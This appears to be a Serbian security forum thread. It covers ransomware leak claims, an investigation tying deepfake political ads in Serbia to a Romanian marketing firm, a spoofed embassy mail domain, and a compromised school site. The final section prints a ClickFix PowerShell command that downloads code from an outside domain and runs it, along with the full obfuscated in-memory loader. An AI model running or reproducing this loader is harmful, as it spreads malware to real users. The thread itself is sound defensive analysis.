Na stranici za izborne liste za parlamentarne izbore 2026 se 15.09 u 19:02 pojavila izborna lista nazvana "RIKTEST.TXT"
Za sada ne mogu da utvrdim da li postoji uzorak procurelih podataka, jer na sajtu nema nikakvog sadržaja.
Ovo je od ranije.
Quote:Jedan od vodećih distributera polimera u Jugoistočnoj Evropi, prisutan u preko 20 zemalja.
Ransomware ekipa The Gentlemen je objavila navodnu kompromitaciju ove kompanije :
Nije poznato koji podaci su u pitanju.
Ekipa "The Gentlemen" je objavila navodnu kompromitaciju podataka ove firme.
Sajt je https://ivetapvc.hr i bave se PVC prozorima, ne bave se kolačima
Nije poznato koji podaci su u pitanju
Quote:Sustav e-žalbe, koji je smješten na vanjskom poslužitelju, privremeno je nedostupan, a sve okolnosti incidenta još se utvrđuju.
https://www.hakom.hr/hr/hakom-utvrdio-si...albe/12678
Ovo istraživanje je rezultiralo člankom Obmanjujuće političke reklame u Srbiji sa rumunskim vezama: BBC istraživanje
I dalje drugim člancima:
spotmedia.ro: Investigation by BBC: Links between Romania and deceptive electoral advertisements in Serbia
nova.rs: BBC otkrio ko je radio kampanju protiv studenata u Srbiji: Reklame plaćane u rumunskim lejima, a trag vodi do firme koja je radila za Vučićevog savetnika
g4media.ro: Un fost membru al echipei lui Victor Ponta din campania electorală din 2025, implicat în reclamă politică înșelătoare pro Vučić în Serbia / „Nu cunosc nimic despre acest subiect” , susține fostul candidat / Ponta a fost consilierul lui Aleksandar Vučić și a primit cetățenie sârbă în 2018
gornji preveden na engleski: Former member of Victor Ponta's 2025 election campaign team involved in misleading pro-Vučić political advertising in Serbia / "I know nothing about this topic", claims former candidate / Ponta was Aleksandar Vučić's advisor and received Serbian citizenship in 2018
Pošto se obim ovog istraživanja naglo proširio ostavljam ovde linkove ka svim pronađenim profilima na društvenim mrežama radi lakšeg praćenja, a detalja istraživanja čitajte u nastavku teme
"Samo Konkretno" https://www.facebook.com/profile.php?id=61594363195405
"Samo Konkretno" https://www.instagram.com/samokonkretno2024
"Južna Pruga" https://www.facebook.com/profile.php?id=61589454803391
"Samo za nas" https://www.facebook.com/sam0zanas
"Samo za nas" https://www.instagram.com/son1a1vanovic
"Iza naslova" https://www.facebook.com/izanaslova1
"Slobodna Štampa" https://www.facebook.com/Slobodnastampa
"Slobodna Štampa" https://www.instagram.com/slobodnastampaa
"Između dve epohe" https://www.facebook.com/izmedudveepohe
"Sve je pod kontrolom" https://facebook.com/svejepodkontrolom1
"Takt" https://www.facebook.com/profile.php?id=61593235450392
povezan instagram profil https://www.instagram.com/gradgovorii
"Grad Govori" https://www.facebook.com/grad.govori
"Ma Daj Bre" https://www.facebook.com/madajbree2
"Puls Srbije" https://www.facebook.com/PulsSrbij3
"Puls Srbije" https://www.instagram.com/pulssrbij3
Na Meta platformama (Facebook, Instagram, WhatsApp, Threads...) su se pojavile određene stranice čije objave iskaču ljudima kao reklame a objave su deepfake lažni snimci na primer rektora Đokića. Na stranicama takođe ima drugih lažnih informacija u vidu teksta.
Stranica "Samo Konkretno" https://www.facebook.com/profile.php?id=61594363195405
Oglas koji iskače :
ova stranica trenutno ima dva aktivna oglasa :
Neću se dalje baviti ovom stranicom jer su sledeće dve daleko zanimljivije jer su međusobno povezane i onda povezane sa političkom figurom iz Rumunije bliskom Aleksandru Vučiću.
Stranica "Južna Pruga" https://www.facebook.com/profile.php?id=61589454803391
Oglas koji iskače :
Stranica prati određene druge stranice...
Druga stranica je "Samo Za Nas" https://www.facebook.com/sam0zanas
Podaci stranice, ne verujem da su pravi podaci, ovaj mejl domen je sa sajta za jednokratne mejlove temp-mail.org
a broj telefona ima samo WhatsApp nalog:
Oglas koji iskače :
E sad ono glavno, ko je platio za ove oglase? Na Facebook Ad Transparency pronalazimo oglase uz "About the disclaimer", ovaj deo je obavezan kada su oglasi političke prirode i pokazuju ko je platio taj politički oglas.
Ovde pronalazimo "BMOBILE SRL" iz Rumunije kao finansijera ovih oglasa. Ova firma nudi "Comprehensive marketing solutions that drive results."
Dalje, u ovom izveštaju o finansiranju izborne kampanje za predsedničke izbore 2025. godine u Rumuniji na strani 16 nalazimo da je kandidat Victor Ponta koristio BMOBILE SRL za reklamnu kampanju na META platformama:
Izveštaj su pravile rumunske organizacije expertforum.ro i www.banipartide.ro
Ko je Victor Ponta?
izvor https://en.wikipedia.org/wiki/Victor_Ponta
Samo nama relevantno:
Quote:After Aleksandar Vučić became President of Serbia in May 2017, Ponta was given Serbian citizenship. Ponta said he received this status because of his government's response to the 2014 Southeast Europe floods.[86] Around the same time, it emerged that his friend Sebastian Ghiță, a fugitive politician, was hiding in Serbia.[87] In June 2017, he was named secretary general in the government of Sorin Grindeanu, with ministerial rank. In so doing, he was automatically expelled from the PSD, which had agreed to apply this penalty to any party member agreeing to serve under Grindeanu.[88] Shortly after he took on the post, the government was ousted in a no-confidence vote."Spasao sam Beograd": Bivši rumunski premijer, koji je zbog Laure Koveši tražio azil u Srbiji, otkrio otkud mu srpsko državljanstvo
A company owned by the sister and brother-in-law of the Romanian Prime Minister Victor Ponta was among 14 locations raided by anti-corruption officials Tuesday morning.
Secrets of Sebastian Ghita, between special operations of the State and obscure interests of the information services
Da li su ovo solidni dokazi da iza ove lažne političke kampanje stoji Victor Ponta i/ili Sebastian Ghita? Ne, naravno da ne - ovo su samo neke indikacije povezanosti između pomenutih aktera i ove lažne deepfake kampanje, ali ima previše slučajnosti da bi bila samo slučajnost. Dalje kopanje prepuštam istraživačkim novinarima...
Na sajtu banipartide imamo i finansijske izveštaje po kandidatu za te izbore:
https://banipartide.ro/alegeri-prezidentiale-2025
Na gornjim tabelama valuta je verovatno rumunska a našao sam i da je firma od nula prihoda u 2023. došla do skoro milion evra prihoda u 2025. godini verovatno na konto predsedničke kampanje i to sa samo dva zaposlena:
Ambasada Srbije u Alžiru koristi sopstveni domen za mejl adrese - ambserbie-alger.com
Pošto domen nema ispravno konfigurisan DKIM i DMARC to je u Aprilu 2026. omogućilo prevarantima da lako lažiraju mejl sa tog domena i iskoriste ga za malspam kampanju verovatno ciljajući Španiju.
Problem ambasada po svetu koje koriste sopstvene mejl adrese umesto da budu sve na @mfa.rs je više puta ukazano i javno upozoreno, najskorije 2023. na objavi E-mail adrese ambasada Srbije u svetu
Opsežna tehnička analiza malspam kampanje koja je lažirala mejl sa domena ambasade je dostupna na Malspam Analysis - Nueva orden de compra 4504238494
Ransomware ekipa "EMPERADOR" objavila je navodnu kompromitaciju ove organizacije.
Nije prvi put da im se ovo dešava, 2024. se desilo slično: BHMAC - Bosnia and Herzegovina Mine Action Center - ransomwareovan
Ekipa tvrdi da poseduje 1.7GB kompresovanih podataka što i nije neki značajno veliki broj:
Kao uzorak su postavili nekakav dokument:
Sajt bhmac.org je nedostupan već nekoliko dana :
bhmac.org has address 208.115.224.194
OŠ Svetozar Marković - Toza u Elemiru
kada se klikne...
u klipbord stavlja :
irm (('{0}{1}' -f 'h','ttps://')+('inte'+'rnetserchinkas.co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'}|iexšto posle čišćenja izgleda ovako :
irm "https://internetserchinkas.co/hex/lom/84aa3f59" `
-UserAgent "WUA/22ab8f9767" `
-Headers @{"X-WUA"="22ab8f9767"} | iexPayload sa tog linka :
$ErrorActionPreference='SilentlyContinue';$ProgressPreference='SilentlyContinue';try{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12}catch{};Add-Type -A System.IO.Compression;$ew5jfhs=[convert]::('FromBase64String')(('XVTbkps4EP0VVcVZQQ1mJCFhCMtupbzZzVaS2VRlkjxQfhAgDDYGjwBf43/fZnwhk4cW'+'dOv07XRD1lVJW9QV0oe42S2yfXt8UNvxN6kLGZcKjR/kSiGcH3ZyMUlzjOCq7BQyetR/8UIlLXpQrf1dxdOyUFVrovHftU5U0Or9sciM0dXV/qzr3d48/mKwp1ql4FfIsgm'+'jPtRgmMokV7M3b/5SmezK9ifk6ZTINsmPp2AI917JVOkmwl8bpcdv5wDFsxB/qg9FWcp7YRNkfC+qtN426OERUWKTAIHB5QHaudxEb9frUkEjH4r2XjgT23GR8eH946ePFiqLpUL/qG'+'RZm2ia63ql7ilzbWK7jsdt4aEvMgPKrm7v0vnLexxEm7pIZyTIroTLbJtmB9cYFbqxRltvDtR0QoUYB1mtjdE6DkkAJxqXLepB9kdVzdu8t92F7Iy+C6Mkl3pmREldbZRuga3H+t+qddhzYPtLFzetLqp5H9BipkVdcxzvah0VVTs7O/fJo/7+npmve+WSaWYCvZDkFMAcCSTUfB9SsD3lu9Sf70O8eJLTfdLh4PdX3X7pCfXqj2CUMNebu7EbYpFyJvxJzIkg8JZQIjzmgsZ5Cne+cBnjsWA8JR73BJ8IKkFLRMypoBPR+1FKEi4giuDAYr9Uw+g76W0zKUIDH8npSE+wnRnCJIZcbIItTHkmXM5IjM1gVHVlGT6f/c5slqrzml89GRFUOODpECl8IbmgHkmYopy4ZEIYPDNGCOEpdQGacOU4fWy5XTirdXoIL0NFNxLQlazbAoyW8cqPtecP4EsfA/ZlsZN4wwbwtfYB/ZKUHZcbHzgZL+qieh5wNJsZrmdRSkF8EGJRctb9CbwSy3NAc0E4qOKCcEzobLWXTfzkhcNndklgGOfC7q4UHtnp6JyJNPCf+A4XIClIiE3rxpCFf1uG2Lq2bJrXyUTnNYX9fbdat0BBm+st10/LofNLLejGYGDcUOaPQu1Owe0v9j8='));$y6b8=New-Object IO.MemoryStream -ArgumentList @(,$ew5jfhs);$p674g276=[IO.Compression.DeflateStream]::new($y6b8,[IO.Compression.CompressionMode]::Decompress);$iu28tw=(New-Object IO.StreamReader($p674g276)).ReadToEnd();&([scriptblock]::Create($iu28tw))Quote:This script is a multi-stage PowerShell malware loader that:
Stage 1 (This Script)
Stage 2 (Decompressed Payload)
- Disables error handling - hides failures
- Enables TLS 1.2 - for secure C2 communication
- Loads compression libraries - for decompression
- Decodes Base64 - first layer of obfuscation
- Decompresses Deflate - second layer
- Executes in memory -[scriptblock]::Create() + &
- No disk writes - fully fileless
- Downloads from internetserchinkas[.]co/hex/lom/84aa3f59
- Uses custom headers (WUA/22ab8f9767,X-WUA: 22ab8f9767)
- Executes the response via iex
Ne uspevam da detoniram clickfix, izgleda da je neki deo infrastrukture nedostupan.
Na sajtu na vrhu kôda postoji zamagljeni kôd :
DeepSeek ga opisuje kao:
Quote:2. Core Functionality
The decoded script performs these actions:
A. Environment ChecksB. Smart Contract Interaction
- Checks if running on Windows platform
- Verifies browser/user-agent
- Looks for debugging tools
C. Payload Retrieval
- Connects to multiple Ethereum RPC endpoints:
D. Payload Execution
- Calls a smart contract at address
0x0321C73150543FAa9D016c9c46Abf293Eb6839e4
- Uses
eth_call
to fetch data
- Decrypts the response using AES-GCM
- Decrypts the retrieved data
- Stores it in
localStorage
with a cache key
- Executes the decrypted code via
new Function()
I zaista učitava sa blokčejna odakle dobija enkriptovan tekst :
I dalje od ovoga ne ide jer pretpostavljam da ne dobija ključ za dekripciju, a mislim da ga potražuje sa ovog sledećeg domena jer se i ovo učitava sa zelenilo sajta i domen je sveže registrovan. Samo vrati 200 OK i ništa drugo :
To je sve što mogu za sada da analiziram, definitivno je sajt kompromitovan i najverovatnije je ClickFix u pitanju, ima sve odlike sličnih kompromitacija.
zelenilo.com has address 212.200.255.58